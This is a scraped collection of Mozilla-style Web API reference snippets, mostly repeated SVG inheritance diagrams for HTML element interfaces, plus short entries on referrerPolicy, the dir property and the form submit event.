syntax refstr = areaelt.referrerpolicy; areaelt.referrerpolicy = refstr; values "no-referrer" meaning that the referer: http header will not be sent.
... "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port.
... "unsafe-url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username).
... examples <img usemap="#maparound" width="100" height="100" src="/img/logo@2x.png" /> <map id="mymap" name="maparound" />> var elt = document.createelement("area"); elt.href = "/img2.png"; elt.shape = "rect"; elt.referrerpolicy = "no-referrer"; elt.coords = "0,0,100,100"; var map = document.getelementbyid("mymap"); map.appendchild(elt); // when clicked, the area's link will not send a referrer header.
HTMLAreaElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middl...
...e" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303...
....5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="...
...90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlareaelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlareaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and implements those from htmlhyperlinkelementutils.
HTMLBRElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><...
...line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline...
...="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlbrelement" target="_t...
...op"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbrelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLBaseElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
...111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,mo...
...nospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#...
...d4dde4"/><a xlink:href="/docs/web/api/htmlbaseelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbaseelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLBodyElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 12...
...1,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" f...
...ill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><...
...a xlink:href="/docs/web/api/htmlbodyelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbodyelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement and from windoweventhandlers.
HTMLDListElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">ev...
...enttarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-...
...family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="5...
...09" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldlistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldlistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLDataElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyl...
...ine points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,an...
...dale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="9...
...0" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldataelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldataelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLDataListElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventt...
...arget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-fami...
...ly="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" ...
...y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldatalistelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldatalistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement htmldatalistelement.options read only is a htmlcollection representing a collection of the contained option elements.
HTMLElement.dir - Web APIs
WebAPIHTMLElementdir
an image can have its dir property set to "rtl" in which case the html attributes title and alt will be formatted and defined as "rtl".
... when a table has its dir set to "rtl", the column order is arranged from right to left.
... when an element has its dir set to "auto", the direction of the element is determined based on its first strong directionality character, or default to the directionality of its parent element.
... example var parg = document.getelementbyid("para1"); parg.dir = "rtl"; // change the text direction on a paragraph identified as "para1" specifications specification status comment html living standardthe definition of 'dir' in that specification.
HTMLFormElement: submit event - Web APIs
bubbles yes (although specified as a simple event that doesn't bubble) cancelable yes interface submitevent event handler property globaleventhandlers.onsubmit note that the submit event fires on the <form> element itself, and not on any <button> or <input type="submit"> inside it.
... the submit event fires when the user clicks a submit button (<button> or <input type="submit">) or presses enter while editing a field (e.g.
... <input type="text">) in a form.
... html <form id="form"> <label>test field: <input type="text"></label> <br><br> <button type="submit">submit form</button> </form> <p id="log"></p> javascript function logsubmit(event) { log.textcontent = `form submitted!
HTMLHRElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></...
...a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,m...
...onaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="49...
...2" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlhrelement" target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlhrelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLHeadElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</t...
...ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" ...
...x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlheadelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlheadelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLHtmlElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,mo...
...naco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fi...
...ll="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y...
...2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlhtmlelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlhtmlelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLIFrameElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alig...
...nment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="...
...30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" str...
